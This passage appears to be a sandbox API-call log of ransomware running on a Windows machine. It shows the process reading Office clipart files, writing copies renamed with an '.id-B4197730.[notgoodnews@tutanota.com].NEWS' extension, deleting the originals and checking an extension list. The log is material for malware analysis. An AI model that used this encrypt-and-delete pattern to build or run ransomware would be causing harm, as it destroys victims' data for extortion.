lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0085.678] GetLastError () returned 0x0 [0085.678] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x244, lpOverlapped=0x0) returned 1 [0085.679] WriteFile (in: hFile=0x348, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x250, lpOverlapped=0x0) returned 1 [0085.680] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.680] WriteFile (in: hFile=0x348, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.680] SetEndOfFile (hFile=0x348) returned 1 [0085.680] CloseHandle (hObject=0x348) returned 1 [0085.681] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.681] SetEndOfFile (hFile=0x350) returned 1 [0085.681] CloseHandle (hObject=0x350) returned 1 [0085.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0085.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.682] lstrlenW (lpString=".doc") returned 4 [0085.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.682] lstrlenW (lpString=".docx") returned 5 [0085.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.682] lstrlenW (lpString=".pdf") returned 4 [0085.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.682] lstrlenW (lpString=".xls") returned 4 [0085.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.682] lstrlenW (lpString=".xlsx") returned 5 [0085.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.682] lstrlenW (lpString=".ppt") returned 4 [0085.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.682] lstrlenW (lpString=".zip") returned 4 [0085.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.682] lstrlenW (lpString=".rar") returned 4 [0085.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.682] lstrlenW (lpString=".bz2") returned 4 [0085.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.682] lstrlenW (lpString=".7z") returned 3 [0085.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.683] lstrlenW (lpString=".dbf") returned 4 [0085.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.683] lstrlenW (lpString=".1cd") returned 4 [0085.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.683] lstrlenW (lpString=".jpg") returned 4 [0085.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.683] lstrlenW (lpString=".doc") returned 4 [0085.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.683] lstrlenW (lpString=".docx") returned 5 [0085.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.683] lstrlenW (lpString=".pdf") returned 4 [0085.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.683] lstrlenW (lpString=".xls") returned 4 [0085.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.683] lstrlenW (lpString=".xlsx") returned 5 [0085.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.683] lstrlenW (lpString=".ppt") returned 4 [0085.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.683] lstrlenW (lpString=".zip") returned 4 [0085.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.683] lstrlenW (lpString=".rar") returned 4 [0085.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.683] lstrlenW (lpString=".bz2") returned 4 [0085.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.683] lstrlenW (lpString=".7z") returned 3 [0085.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.683] lstrlenW (lpString=".dbf") returned 4 [0085.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.684] lstrlenW (lpString=".1cd") returned 4 [0085.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0085.684] lstrlenW (lpString=".jpg") returned 4 [0085.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.684] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.684] lstrlenW (lpString="ED00010_.WMF") returned 12 [0085.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.685] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=1382) returned 1 [0085.685] CloseHandle (hObject=0x350) returned 1 [0085.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0085.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.685] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.685] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0085.685] GetLastError () returned 0x0 [0085.685] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x566, lpOverlapped=0x0) returned 1 [0085.687] WriteFile (in: hFile=0x348, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x570, lpOverlapped=0x0) returned 1 [0085.688] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.688] WriteFile (in: hFile=0x348, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.688] SetEndOfFile (hFile=0x348) returned 1 [0085.688] CloseHandle (hObject=0x348) returned 1 [0085.688] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.688] SetEndOfFile (hFile=0x350) returned 1 [0085.689] CloseHandle (hObject=0x350) returned 1 [0085.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0085.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.689] lstrlenW (lpString=".doc") returned 4 [0085.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.690] lstrlenW (lpString=".docx") returned 5 [0085.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.690] lstrlenW (lpString=".pdf") returned 4 [0085.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.690] lstrlenW (lpString=".xls") returned 4 [0085.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.690] lstrlenW (lpString=".xlsx") returned 5 [0085.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.690] lstrlenW (lpString=".ppt") returned 4 [0085.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.690] lstrlenW (lpString=".zip") returned 4 [0085.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.690] lstrlenW (lpString=".rar") returned 4 [0085.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.690] lstrlenW (lpString=".bz2") returned 4 [0085.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.690] lstrlenW (lpString=".7z") returned 3 [0085.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.690] lstrlenW (lpString=".dbf") returned 4 [0085.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.690] lstrlenW (lpString=".1cd") returned 4 [0085.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.690] lstrlenW (lpString=".jpg") returned 4 [0085.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.690] lstrlenW (lpString=".doc") returned 4 [0085.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.691] lstrlenW (lpString=".docx") returned 5 [0085.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.691] lstrlenW (lpString=".pdf") returned 4 [0085.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.691] lstrlenW (lpString=".xls") returned 4 [0085.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.691] lstrlenW (lpString=".xlsx") returned 5 [0085.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.691] lstrlenW (lpString=".ppt") returned 4 [0085.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.691] lstrlenW (lpString=".zip") returned 4 [0085.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.691] lstrlenW (lpString=".rar") returned 4 [0085.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.691] lstrlenW (lpString=".bz2") returned 4 [0085.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.691] lstrlenW (lpString=".7z") returned 3 [0085.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.691] lstrlenW (lpString=".dbf") returned 4 [0085.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.691] lstrlenW (lpString=".1cd") returned 4 [0085.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0085.691] lstrlenW (lpString=".jpg") returned 4 [0085.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.691] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.691] lstrlenW (lpString="ED00019_.WMF") returned 12 [0085.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.726] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=13042) returned 1 [0085.727] CloseHandle (hObject=0x350) returned 1 [0085.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0085.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.727] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.727] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0085.752] GetLastError () returned 0x0 [0085.752] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x32f2, lpOverlapped=0x0) returned 1 [0085.766] WriteFile (in: hFile=0x37c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x3300, lpOverlapped=0x0) returned 1 [0085.767] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.767] WriteFile (in: hFile=0x37c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.767] SetEndOfFile (hFile=0x37c) returned 1 [0085.767] CloseHandle (hObject=0x37c) returned 1 [0085.767] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.767] SetEndOfFile (hFile=0x350) returned 1 [0085.768] CloseHandle (hObject=0x350) returned 1 [0085.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0085.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.768] lstrlenW (lpString=".doc") returned 4 [0085.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.769] lstrlenW (lpString=".docx") returned 5 [0085.769] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.769] lstrlenW (lpString=".pdf") returned 4 [0085.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.769] lstrlenW (lpString=".xls") returned 4 [0085.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.769] lstrlenW (lpString=".xlsx") returned 5 [0085.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.769] lstrlenW (lpString=".ppt") returned 4 [0085.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.769] lstrlenW (lpString=".zip") returned 4 [0085.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.769] lstrlenW (lpString=".rar") returned 4 [0085.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.769] lstrlenW (lpString=".bz2") returned 4 [0085.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.769] lstrlenW (lpString=".7z") returned 3 [0085.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.769] lstrlenW (lpString=".dbf") returned 4 [0085.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.769] lstrlenW (lpString=".1cd") returned 4 [0085.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.769] lstrlenW (lpString=".jpg") returned 4 [0085.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.769] lstrlenW (lpString=".doc") returned 4 [0085.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.770] lstrlenW (lpString=".docx") returned 5 [0085.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.770] lstrlenW (lpString=".pdf") returned 4 [0085.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.770] lstrlenW (lpString=".xls") returned 4 [0085.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.770] lstrlenW (lpString=".xlsx") returned 5 [0085.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.770] lstrlenW (lpString=".ppt") returned 4 [0085.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.770] lstrlenW (lpString=".zip") returned 4 [0085.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.770] lstrlenW (lpString=".rar") returned 4 [0085.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.770] lstrlenW (lpString=".bz2") returned 4 [0085.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.770] lstrlenW (lpString=".7z") returned 3 [0085.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.770] lstrlenW (lpString=".dbf") returned 4 [0085.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.770] lstrlenW (lpString=".1cd") returned 4 [0085.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0085.770] lstrlenW (lpString=".jpg") returned 4 [0085.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.771] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.771] lstrlenW (lpString="ED00184_.WMF") returned 12 [0085.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.771] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=6958) returned 1 [0085.771] CloseHandle (hObject=0x350) returned 1 [0085.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0085.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.771] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.771] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0085.772] GetLastError () returned 0x0 [0085.772] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1b2e, lpOverlapped=0x0) returned 1 [0085.779] WriteFile (in: hFile=0x37c, 